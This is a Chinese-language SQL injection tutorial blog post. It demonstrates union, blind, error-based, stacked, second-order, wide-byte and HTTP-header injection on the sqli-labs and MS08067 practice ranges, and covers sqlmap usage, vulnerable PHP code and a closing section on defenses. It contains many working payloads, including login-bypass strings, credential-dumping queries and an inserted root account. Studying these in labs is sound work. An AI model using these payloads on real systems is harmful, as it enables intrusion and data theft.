SQL注入(巨详解)
0x00-引言
SQL注入需要有一点SQL基础,博客主题生成的目录有问题,点击标题使用博客园生成的目录舒服一点
SQL注入好多啊,终于在情人节前夕搞完了,也终于有时间陪......,cao,我没女朋友
学习慢就是快,快就是慢
终身学习,直面恐惧 be in love with fear
0x01-漏洞描述
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严格,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。【百度百科】
0x02-漏洞原理
在页面中有数据交互的地方,攻击者构造sql语句,使web服务器执行恶意命令访问数据库。
SQL注入漏洞满足的两个条件:
- 参数用户可以控制
- 参数可以带入数据库查询
构造语句是数据库报错,根据报错判断是否存在SQL注入
0x03-MySQL相关知识点
01-MySQL中information_schema
information_schema
数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。
information_schema
实际上是视图,而不是基本表,像软链接一样。就像一本书里面的目录,包括整个数据库里面的内容。
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。
USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。
TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。
COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。
COLLATIONS表:提供了关于各字符集的对照信息。
COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。
TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。
KEY_COLUMN_USAGE表:描述了具有约束的键列。
ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表
information_schema
中我们需要了解三张表,SCHEMATA
、TABLES
、COLUMNS
查询表SCHEMATA
中存储的库名SCHEMATA_NAME
TABLES
中记录了用户创建的所有数据库的库名(TABLE_SCHEMA)和表名(TABLE_NAME)。用limit限制了查询数量
COLUMNS
表中存储了该用户创建的所有数据库的库名(TABLE_SCHEMA
)、表名(TABLE_NAME
)和字段名(COLUMN_NAME
)
02-MySQL中的注释符
MySQL支持3种注释符
#
:注释从#
字符到行尾- --:注释从
--
序列到行尾,使用注释时,后面需要跟一个或多个空格 /**/
:注释/**/中间的字符,若/**/
中间有感叹号,则有特殊意义,如/*!55555,username*/
,若mysql版本号高于或等于5.55.55,语句将会被执行,如果!后面不加入版本号,mysql将会直接执行SQL语句
03-MySQL函数利用
database():当前网站使用的数据库
version():当前MySQL的版本
user():当前MySQL的用户
0x04-SQL注入类型
思路:
01-判断漏洞类型(字符型和数字型)
02-爆库名
03-报表名
04-爆字段
05-爆数据值
万能密码:
username: 1' or '1'='1
password: 1' or '1'='1
手注模板:
id=1 #判断注入点
id=1' #判断注入点
id=1' and 1=1 #判断注入点
id=1' and 1=2 #判断注入点
id=1' order by 3 --+ #判断字段数
id=-1' union select 1,database(),user() --+ #查询库名与用户
id=-1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+ #查询表名
?id=-1' union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' ) --+ #查询字段名
id=-1' union select 1,database(),(select group_concat(id,email_id) from emails ) --+ #查询数据
00-数字型与字符型
SQL注入可分为字符型和数字型,其他类型都是这两大类的不同展现形式和不同展现位置。也可分四种,分别为:union联合注入、Boolran布尔盲注、time时间盲注、报错注入。
数字型猜测SQL语句为select * from table where id=8
测试语句
id=2 #原始请求
id=2' #页面出现异常,则进行下一步测试
id=2 and 1=1 #语句执行正常,返回数据与原始请求无任何差异
id=2 and 1=2 #语句执行正常,但无法查询出数据,and1=2始终为假,所以返回数据与原始数据有差异
以上测试都满则可能存在SQL注入漏洞
字符型猜测SQL语句为select * from table where username='admin'
字符型注入要注意字符串闭合问题
数据库不同,字符串的连接符也不同,如SQL Server连接符号为+
,Oracle连接符为||
,Mysql连接符为空格。
01-Union注入
01-Mysql中Union用法
Mysql允许复合查询(多个SELECT语句并列查询),并将返回单个结果集。这些组合查询通常称为并或复合查询。
select username from admin UNION select password from admin;
UNION规则:
- UNION必须由两条以上select语句组成,语句之间用关键词UNION分割
- UNION中的每个查询必须包含相同的列、表达式或聚集函数(各个列不需要以相同的次序列出)
- 不去重用UNION ALL
- 使用UNION语句只能使用一条order by语句,且order by放在最后一条select语句后面
02-sali-labs靶场演示
判断注入点-存在注入
?id=1
?id=1'
?id=1' and 1=1 --+
?id=1' and 1=2 --+
判断字段数
?id=1' order by 3 --+
union查询库名和用户
?id=-1' union select 1,database(),user() --+
查询表名
?id=-1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema='security' ) --+
查询字段
?id=-1' union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' ) --+
查询数据
id=-1' union select 1,database(),(select group_concat(id,email_id) from emails ) --+
03-ms08067靶场演示
ms08067靶场
构造语句查询,存在漏洞
order by 判断字段数
可以看到6个字段时,不出错
第七个字段数出错,可以判断字段数为七个
union查看哪两个字段位置可以查询数据
2和4可以查询数据-插入database()和version函数
使用的库为test,Mysql版本号为5.5.53
查询使用的表
04-SQLMAP注入
sqlmap.py -u "http://192.168.234.139/sqli-labs/Less-1/?id=1" --batch -D security -T users -C id,password,username -dump
02-Union注入代码分析
<?php
$con=mysqli_connect("localhost","root","root","test");
// 检测连接
if (mysqli_connect_errno())
{
echo "连接失败: " . mysqli_connect_error();
}
$id = $_GET['id'];
$result = mysqli_query($con,"select * from users where `id`=".$id);
while($row = mysqli_fetch_array($result))
{
echo $row['username'] . " " . $row['address'];
echo "<br>";
}
?>
后端程序用于接收前端输入的参数id,将id的值拼接到select * from users where id =
后,构造变量id= 1 union select 1,2,3时,后端用于查询数据库的语句为select * from users where id = 1 union select 1,2,3
,union 后面为另一条select语句可以查询数据库的数据。
03-Boolean注入
布尔盲注就是猜测,根据页面返回的true和flase猜数据库总数,猜数据库长度,猜数据库名字,猜数据库长度,猜数据库内容,然后就是猜表和字段。盲注最快的方法就是用工具跑。
靶场sql-labs的less8
Boolean注入常用函数
length(str):返回str字符串的长度。substr(str, pos, len):将str从pos位置开始截取len长度的字符进 行返回。注意这里的pos位置是从1开始的,不是数组的0开始mid(str,pos,len):跟上面的一样,截取字符串ascii(str):返回字符串str的最左面字符的ASCII代码值。ord(str):返回ascii码if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
01-Boolean注入演示
id=1
id=1'不显示数据
可能存在布尔盲注
构造payload测试数据库长度
id=1%27and%20length(database())=1%23
不显示
id=1%27and%20length(database())=8%23
显示,说明存在布尔盲注且数据库的长度为8
判断数据库名
?id=1' and substr(database(),1,1)='s' --+
抓包爆破数据库名第一位
爆破多位数据库名
爆出数据库名security
爆表名
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e' --+
爆出第一个表名emails
修改limit后面的值可以查询其他表的名称
爆字段名
?id=1' and substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)='d' --+
爆出第一个字段id,接着爆第二字段,修改limit后面的值为limit 1,1
爆字段内容
?id=1' and substr((select email_id from emails limit 0,1),1,1)='x' --+
爆出邮箱dumb@dnakkan.com
查看数据库与爆出来的内容对比-一模一样
sqlmap跑布尔盲注-工具万岁(那里有神魔大佬,不过是脚本小子罢了)
sqlmap.py -u "http://192.168.234.139/sqli-labs/Less-8/?id=1" -D security -T emails -C id,email_id --dump
04-Boolean注入代码分析
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-8 Blind- Boolian- Single Quotes- String</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-8.jpg" /></center>
</body>
</html>
前面是把注入id参数的值写入TXT文件中。\(sql是一句sql语句,\)result是mysql_query执行sql语句的结果,$row是mysql_fetch_array生成的数组。从前端输入参数id的值,后端查询数据库,sql-labs的盲注就是不显示报错信息,只有成功的显示(true)和不成功的不显示(flase)
05-时间注入
时间盲注和布尔盲注很像,页面不返回任何信息,采用延迟函数根据页面反应的时间进行判断是否存在注入点。服务器负载和网络速度会对响应时间产生巨大影响。延迟足够长的时间可以排除这些影响。
延迟注入函数:
sleep #延迟函数benchmark(count,expr) #count:运行次数 expr:运行的命令 通过多次运行产生延时笛卡尔积 #count(*),通过计算表中数据的数量产生延迟get_lock(str,timeout) #对一个字符上锁,在新回话开启后,再次使用这个字符会有延时if(condition,true,false) #条件语句if表达式:if(expr1,expr2,expr3) #expr1为条件,expr2和expr3为返回值。和if判断语句一样
01-时间注入演示
sqli-labs-less9,时间盲注
测试语句也可以使用下图中语句(已知数据库第一个字母)
?id=1' and if(length(database())>1,sleep(6),1) --+
查看页面响应的时间可以看出存在延迟注入
爆数据库名-security
?id=1' and if(substr(database(),1,1)='s',sleep(6),1) --+
爆表名-emails
?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(6),1) --+
爆字段名-id(第一个字段)-email_id(第二个字段)
?id=1' and if(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)='d',sleep(6),1) --+
爆字段内容-dumb@dhakkan.com
?id=1' and if(substr((select email_id from emails limit 0,1),1,1)='x',sleep(6),1) --+
查看数据库内容与爆出的内容对比-一模一样
sqlmap跑时间盲注-工具就是好用
banner信息-数据库名-表名-字段名-字段内容
sqlmap.py -u "http://192.168.234.139/sqli-labs/Less-9/?id=1" -D security -T emails -C id,email_id -dump
06-时间注入代码分析
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-9 Blind- Time based- Single Quotes- String</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-9.jpg" /></center>
</body>
</html>
The same as Boolean injection.One more line of echo(You are in).So 不管对错都显示You are in ........
07-报错注入
靶场:MS08067
报错注入是利用数据库报错机制,人为的制造错误,使查询结果出现在报错信息中。
思路:
01-先判断是否存在漏洞(id=1')看报错02-构造错误语法03-爆表名04-爆字段05-爆数据名06-爆数据值
报错注入相关函数:
updatexml()函数
updatexml(Xml_document,Xpathstring,new_value)
Xml_document:目标文档
Xpathstring:路径
new_value:更新的值
爆数据库名:
username=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
爆数据库表名:
username=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) --+
爆字段名:
username=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
爆数据值:
username=1' and updatexml(1,substring(concat(0x7e,(select group_concat(username,0x3a,password,0x3a) from test.users),0x7e),32,64),1) --+
extractvalue()函数
extractvalue(Xml_document,XMLstring)
Xml_document:目标文档
Xpathstring:XML路径
爆数据库名:
username=1' union select 1,(extractvalue(1,concat(0x7e,(select database())))) --+
爆数据库表名:
username=1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test')))) --+
爆字段名:
username=1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='users'))))--+
爆数据值:
username=1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(id,0x3a,username,0x3a,password) from security.users)))) --+
floor()函数
MYSQL用来取整的函数
用法
爆数据名:username=1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
01-MS08067靶场演示
以updatexml()函数为例
测试是否存在报错注入
爆数据库名
爆数据库表名
爆字段名
爆数据
SQLMAP跑报错注入
SQLMAP检测出存在布尔盲注、时间盲注和报错注入
直接跑出数据
08-报错注入代码分析
<?php
$con=mysqli_connect("localhost","root","root","test");
// 检测连接
if (mysqli_connect_errno())
{
echo "连接失败: " . mysqli_connect_error();
}
$username = $_GET['username'];
$sql = "select * from users where 'username'='$username'";
if($result = mysqli_query($con,$sql)){
echo "ok";
}else{
echo mysqli_error($con);
}
?>
mysqli_error会打印出数据库报错信息
09-堆叠查询注入
多条SQL语句一起执行,每条语句中间用;隔开---(Stack Injection)
堆叠注入毫无限制,为所欲为
靶场:sqli-labs--less42
01-靶场演示
在所在的光阴时间内,我们要用有限的时间内去实现自身价值,正所谓诗酒趁年华,偏于一隅只会让我们故步自封。
username:aaa
password:bbb';insert into users(id,username,password) values(60,'root','root')#
放入表单-提交
回到登录页面-填入注入的账号密码登录
进入数据库查看注入数据-security-users
成功
SQLMAP跑表单注入
- --form模式 sqlmap.py -u "192.168.234.139/login.php" --form
- sqlmap.py -u "192.168.234.139/login.php" --data "username=admin&password=123123" --flush-session
- sqlmap.py -r c:\数据包.txt
这里我采用第一种模式
10-堆叠查询注入代码分析
可以看到在用户名出进行转义,但是在密码处不存在转义,直接使用POST提交,造成堆叠注入
11-二次注入
将攻击语句写入数据库,等待其他功能从数据库中调用攻击语句,在其他功能语句拼接的过程中没有过滤严格从而造成SQL注入
原理:
- 攻击者第一次提交恶意输入
- 恶意输入存入数据库
- 攻击者二次提交输入
- 为了响应第二次的输入程序查询数据库取出恶意输入构造SQL语句形成二次注入
靶场:sqli-labs--less24
01-演示
此页面经检测此页面无SQL注入
点击new user click here注册一个用户
username: admin'#
password: 123
填入表单,提交
5秒后会跳到登录页面
登录
查看数据库-数据建立成功
修改密码为123456
再次查看数据库-在此处发生二次注入
可以看到admin'#的密码没有被修改,修改的为admin'#的密码
二次注入本人用SQLMAP跑不出来,请带佬指点
详情请见代码分析
12-二次注入代码分析
登录页面代码分析
可以看到在接收前端参数的位置都有mysql_real_escape_string转义\
,转义符\
在存入数据库的时候会被还原。由上图代码可以判断不存在sql注入
注册新用户页面代码分析
可以看到也都存在函数进行转义,so 也不存在注入点
修改密码页面分析-妹子别走下面就是重点了
可以看到在填入用户名处没有过滤,此前我们注册新用户名为恶意输入admin'#
,此处就是二次注入的点。
接下来分析数据库中SQL语句的执行情况
使用Seay代码审计系统对Mysql进行监控-Github下载
在注册用户时,数据库执行的语句为-可以看到在users表中添加用户admin'#,注意此处显示有转义符,但是写入数据库中的不带有转义符
insert into users ( username, password) values("admin\'#", "123")
在更新密码处执行的sql语句为
UPDATE users SET PASSWORD='123456' where username='admin'#' and password='123'
#
号后面的语句被注释-最终执行的语句为以下-因此修改的是用户admin的密码
UPDATE users SET PASSWORD='123456' where username='admin'
二次注入就是一战打基础,二战985
13-宽字节注入
宽字节注入是通过编码绕过后端代码的防御措施,列如正则过滤和转义函数转义。
客户端采用GBK编码格式,数据库对用户输入进行转义\
,转义符\
的编码为%5c,添加编码%df,组成%df%5c,此时编码表达为繁体字連,从而绕过转义符让'
逃逸。
GB2312、GBK、GB18030、BIG5等都是宽字节,宽字节的安全问题是使ASCII(一字节)变成宽字节
mysql的转义函数有addslashes,mysql_real_escape_string,mysql_escape_string等
show create database 数据库名 #查看数据库编码格式
01-演示
靶场:sqli-labs ---less36(基于宽字符逃逸的GET型注入)
后端过滤采用函数为mysql_real_escape_string,它会转义字符串中的特殊字符,例如:
\x00 \n \r \ ' " \x1a
判断闭合符号-靶场已知-实战要多尝试
判断是否存在漏洞
?id=1%df%27 and 1=1 --+?id=1%df%27 and 1=2 --+
1=1时为真可以查询出数据,1=2时为假查不出数据,存在SQL注入
判断字段数为3
?id=1%df%27 order by 4--+
联合注入搞起
group_concat():将group by产生的同一个分组中的值连接起来,返回一个字符串结果
为什么使用group_concat把值连接起来,因为页面只能返回一行数据
思路:
- 尝试出注入类型为宽字节注入
- 构造GBK编码使转义失效,让
'
逃逸出去 - 查询库名、表名、字段名、然后是数据。嵌套查询很重要
?id=-1%df%27 union select 1,database(),user() --+ #注出数据库名和用户
?id=-1%df%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),database() --+ #查询表名
?id=-1%df%27 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,3)),database() --+ #查询users中的字段名
?id=-1%df%27 union select 1,(select username from users limit 7,1),(select password from users limit 7,1) --+ #取出一组数据,取出全部用group_concat(username,password)
14-宽字节注入代码分析
对于前端传入的参数id,后端用mysql_real_escape_string()对参数id的值进行转义。数据库的编码格式为GBK为宽字节,而转义符\
(%5c)为一字节,我们再添加一字节编码(%df)构造GBK编码(%df%5c)使转义符失效,让'
逃逸出去从而闭合SQL语句中的id='$id',使插入的sql语句可以执行。
15-Cookie注入
Cookie注入就是Cookie处存在注入点,后端对Cookie没有过滤
01-演示
靶场:sqli-labs---less20
登录
判断cookie注入类型-数字型和字符型
firefox插件工具:EditThisCookie
看到cookie的值判断为字符型,开始判断是否存在注入点
admin' and 1=1 --+ #显示数据admin' and 1=2 --+ #不显示数据
存在注入点-判断字段数-使用union注入
admin' order by 3 --+
查询库名
ad' union select 1,database(),3 --+
查询表名
ad' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+
查询字段
ad' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='emails'),3 --+
查询数据
ad' union select 1,(select group_concat(id,email_id) from emails),3 --+
SQLMAP跑Cookie注入
注入探测等级为2
sqlmap.py -u "http://192.168.234.139/sqli-labs/Less-20/index.php" --cookie "uname=admin" --level 2 --batch -D security -T emails -C id,email_id -dump
16-Cookie注入代码分析
可以看到在cookie处没有任何过滤手段,直接从前端接收参数并带入数据库查找
17-base64注入
和其他注入一样,多了个base64编码解码
01-演示
sqli-less---less-22 cookie注入之base64,和cookie注入一样,多了个base64编码
可以看到cookie显示为base64编码格式
%3D
为url编码=
和cookie注入一样,只是闭合变成了"
,注释不能用--+要用#。然后再base64编码
爆库名
ad" union select 1,database(),3 #YWQiIHVuaW9uIHNlbGVjdCAxLGRhdGFiYXNlKCksMyAgIw==
查询表名
ad" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 #YWQiIHVuaW9uIHNlbGVjdCAxLChzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyksMyAj
查询字段
ad" union select 1,(select group_concat(column_name) from information_schema.columns where table_name='emails'),3 #YWQiIHVuaW9uIHNlbGVjdCAxLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWU9J2VtYWlscycpLDMgIw==
查询数据
ad" union select 1,(select group_concat(id,email_id) from emails),3 #YWQiIHVuaW9uIHNlbGVjdCAxLChzZWxlY3QgZ3JvdXBfY29uY2F0KGlkLGVtYWlsX2lkKSBmcm9tIGVtYWlscyksMyAgIw==
我们使用报错注入,列如extractvalue()函数报错注入,具体方法参考报错注入
SQLMAP跑cookie base64加密注入
sqlmap.py -u "http://192.168.234.139/sqli-labs/Less-22/index.php" --cookie "uname=YWRtaW4=" --tamper base64encode.py --level 2 --batch --dbs
18-base64注入代码分析
可以看到在接受到cookie时,只是简单的base64_decode()函数解码,并无其他过滤手段,然后直接带入数据库查询。
19-XFF注入
http头部注入的一种,头部参数X-Forwarded-for它代表客户真实IP,修改它的值可以伪造客户端IP。和其他注入一样,换了个注入点。
01-演示
靶场:MS08067
打开靶场:抓包
发现没有X-Forwarded-for字段,那就自己添加
有返回值
加个分号,发现有报错
判断是否存在注入点-注释符注意使用#,不能使用--+
127.0.0.1' and 1=1 #127.0.0.1' and 1=2 #
存在注入点-使用联合注入和报错注入都可以-以下使用报错注入-因为不想使用联合注入
查询数据库名
127.0.0.1' union select 1,(extractvalue(1,concat(0x7e,(select database())))) #
查询表名
127.0.0.1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test')))) #
查询字段名
爆字段名:127.0.0.1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='users')))) #
查询数据
127.0.0.1' union select 1,(extractvalue(1,concat(0x7e,(select group_concat(id,0x3a,username,0x3a,password) from security.users)))) #
SQLMAP跑XFF注入-抓包数据放入sqlmap.py同目录的txt文件里面
标星号,sqlmap知道跑哪里
sqlmap.py -r bao.txt -batch -dbs
20-XFF注入代码分析
getenv()函数用来获取一个环境变量的值,如果值存在则返回值,如果不存在则返回flase,程序判断http头部参数HTTP_CLIENT_IP是否存在,存在就赋值给$ip,如果不存在,则依次判断HTTP_X_FORWARDED_FOR、REMOTE_ADDR。
在sql语句查询时,対赋值的$ip也没有任何过滤,这样就造成了XFF注入
21-User-Agent注入
HTTP头部注入的一种,在字段User-Agent处存在注入。
01-演示
靶场:sqli-labs ---less18
填写正确的账号密码,抓包
判断注入点-猜测闭合方式
存在注入点
经判断使用的注入方法是报错注入,尝试其他不可以,具体原因在代码分析中解释
查询库名
' or updatexml(1, concat('1', database()), 0), 1, 1) #
查询表名-and也可以
' and updatexml(1, concat('1', (select group_concat(table_name) from information_schema.tables where table_schema=database() )), 0), 1, 1) #
查询字段名
' and updatexml(1, concat('1', (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' )), 0), 1, 1) #
查询数据值
' and updatexml(1, concat('1', (select group_concat(id,username,password) from users )), 0), 1, 1) #
SQLMAP跑user-agent注入
user-agent标星号
sqlmap.py -r bao.txt -batch -dbs
22-User-Agent注入代码分析
可以看到,对于账号密码输入都存在严格的过滤机制,而在\(uagent处不存在过滤机制,把\)insert拿出来分析
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)
构造$uagent的值,也就是user-agent的值,同时也是恶意sql语句
' or updatexml(1, concat('1', database()), 0), 1, 1) #
拼接-最终数据库执行语句
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('' or updatexml(1, concat('1', database()), 0), 1, 1) #', '$IP', $uname)
Seay代码审计系统检测mysql执行语句为
报错会抛给mysql_error()函数,最终打印在前端页面
为什么使用union注入不可以?
对后端代码小部分更改,发现$insert语句不返回值-报错可以返回
23-referer注入
referer是HTTP请求头Header的一部分。referer会告诉服务器该请求是从哪里来的,服务器基于可以获得一些信息处理
referer注入也是http头部注入的一种。
01-演示
靶场:sqli-labs ---less19
和User-Agent一样的操作
登录-抓包
话不多说,直接查库名
' and updatexml(1, concat('1', database()), 0), 1, 1) #
查表名
' and updatexml(1, concat('1', (select group_concat(table_name) from information_schema.tables where table_schema=database() )), 0), 1, 1) #
查字段名
' and updatexml(1, concat('1', (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' )), 0), 1, 1) #
查数据值
' and updatexml(1, concat('1', (select group_concat(id,username,password) from users )), 0), 1, 1) #
SQLMAP跑referer注入
老规矩,把包放入txt文档-星号标记referer的值
sqlmap.py -r bao.txt --level 3 --batch --banner
24-referer注入代码分析
可以看到sqli-labs的referer注入的后端代码和user-agent注入基本一致,账号密码处都有过滤机制,在接收referer处没有过滤机制,因为数据库的查询结果不会输出到页面,而报错可以输出,所以使用报错注入。
25-post注入和get注入的区别
- GET参数通过URL传递,POST放在Request body中
- GET请求只能进行url编码,而POST支持多种编码方式
- GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留
0x05-SQLMAP常用参数
样例:
sqlmap.py -u "http://192.168.234.139/sqli-labs/Less-20/index.php" --cookie "uname=admin" --level 2 --batch --banner -D security -T emails -C id,email_id -dump
-u 指定目标URL (可以是http协议也可以是https协议)
-d 连接数据库
–dbs 列出所有的数据库
–current-db 列出当前数据库
–tables 列出当前的表
–columns 列出当前的列
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
–dump 获取字段中的数据
–batch 自动选择yes
–smart 启发式快速判断,节约浪费时间
–forms 尝试使用post注入
-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
-l 加载文件中的HTTP请求(本地保存的请求包日志文件)
-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
-o 开启所有默认性能优化
–tamper 调用脚本进行注入
-v 指定sqlmap的回显等级
–delay 设置多久访问一次
–os-shell 获取主机shell,一般不太好用,因为没权限
-m 批量操作
-c 指定配置文件,会按照该配置文件执行动作
-data data指定的数据会当做post数据提交
-timeout 设定超时时间
-level 设置注入探测等级
–risk 风险等级,默认风险等级为1,此等级在大多数情况下对测试目标无害。 风险等级2添加了基于时间的注入测试,等级3添加了OR测试
–identify-waf 检测防火墙类型
–param-del=“分割符” 设置参数的分割符
–skip-urlencode 不进行url编码
–keep-alive 设置持久连接,加快探测速度
–null-connection 检索没有body响应的内容,多用于盲注
–thread 最大为10 设置多线程
–delay 延时
–safe-url web服务器会在多次错误的访问请求后屏蔽所有请求,使用–safe-url 就可以每隔一段时间去访问一个正常的页面
–level level有5个等级,默认等级为1,进行Cookie测试时使用–level 2 ,进行use-agent或refer测试时使用–level 3 ,进行 host 测试时使用–level 5
–tamper ["脚本名称"] 脚本在tamper目录下面,调用多个脚本用逗号隔开
0x06-SQL注入防御
01-预编译
防御SQL注入的最佳方式就是使用预编译语句,绑定变量,预编译可以提高数据库效率,减少编译次数和连接次数
预先编译好,固定SQL语句的语法结构,就是说SQL语句是固定的形式不会更改。不管用户输入什么,只会当做字符串字面值参数输入,不可能对固定的SQL语句语法结构进行更改。
下面例子获取数据基于键值已提供的形式。用户的输入被自动用引号括起来,因此不会有 SQL 注入攻击的危险。引用
<?php
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name = ?");
$stmt->execute([$_GET['name']]);
foreach ($stmt as $row) {
print_r($row);
}
?>
02-检查数据类型
对数字型注入有极好的防护,在强语言Java、C#中几乎可以忽略数字型注入,因为它们需要声明参数类型。在弱语言PHP、ASP中,并没有强调要求处理数据类型,它们会自动判断数据类型,极有可能造成SQL注入。
数据格式和类型检查也是必要的,比如在输入邮箱时,就严格按照邮箱格式进行筛选。这种筛选对于输入长文本不合适,长文本包含的内容太多。
03-过滤危险字符
正则表达式匹配危险字符,列如:union、sleep、load_file等关键字,如果匹配到,则退出程序。
04-使用安全函数
在接收用户输入时添加安全函数
PHP安全函数举例
addslashes
